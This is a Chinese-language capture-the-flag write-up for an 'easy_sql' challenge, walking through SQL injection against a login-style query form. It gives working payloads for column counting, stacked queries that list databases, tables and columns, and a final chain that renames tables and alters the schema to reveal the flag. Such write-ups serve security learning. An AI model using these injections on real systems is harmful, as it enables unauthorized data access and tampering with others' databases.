easy_sql 看来这是一道sql注入的题

1、起手试探
1' 报错
1'# 正确
ps:提交的不显示,想知道提交的东西就看红框的位置,就标了一个,剩下的也一样

2、 测字段数,到三报错,说明字段为二
1' order by 1#
1' order by 2#
1' order by 3# 报错
得出列数为2



3、 先尝试一下union联合注入,发现关键词select被过滤了。
1' union select 1,2#
尝试堆叠注入
原理:通过 ; 号注入多条SQL语句
ps:在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
4、 爆数据库
1';show databases;#

5、 爆表
1';show tables;#

6、爆words表
爆出来啥也没
1'; show columns from words;#

7、爆1919810931114514表
ps:表名为数字时,要用反引号包起来查询

8、爆flag
因为selec被过滤所以我们需要使用别的方法爆出flag
这里有一种最容易理解的方法就是:
先将words表换成别的名字,
然后将1919810931114514表命名成words,
在1919810931114514表里加上id字段,
最后查询表。
ps:注意这三步操作一定不要分开,如果改表明和加id操作分开会报错 <_<!!
(ps:我猜测原理大概是,页面设置默认查询words表,需要靠id索引,如果不加上id,他就会一直报错,就算后面再输入添加id,页面操作在前,数据库在后,页面操作不通过的话,就不会往数据库里添加)
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#

1' ;show tables;#

^-^ flag!!!










![[译] MySQL-恢复被删除的Performance Schema 数据库](https://img-blog.csdnimg.cn/img_convert/ef91a3bb41862ad3a3ac9c3396db673d.png)





![[NCTF2019]Fake XML cookbook XML注入](https://img-blog.csdnimg.cn/db68ffdf81a44beda5a319dea035be65.png)


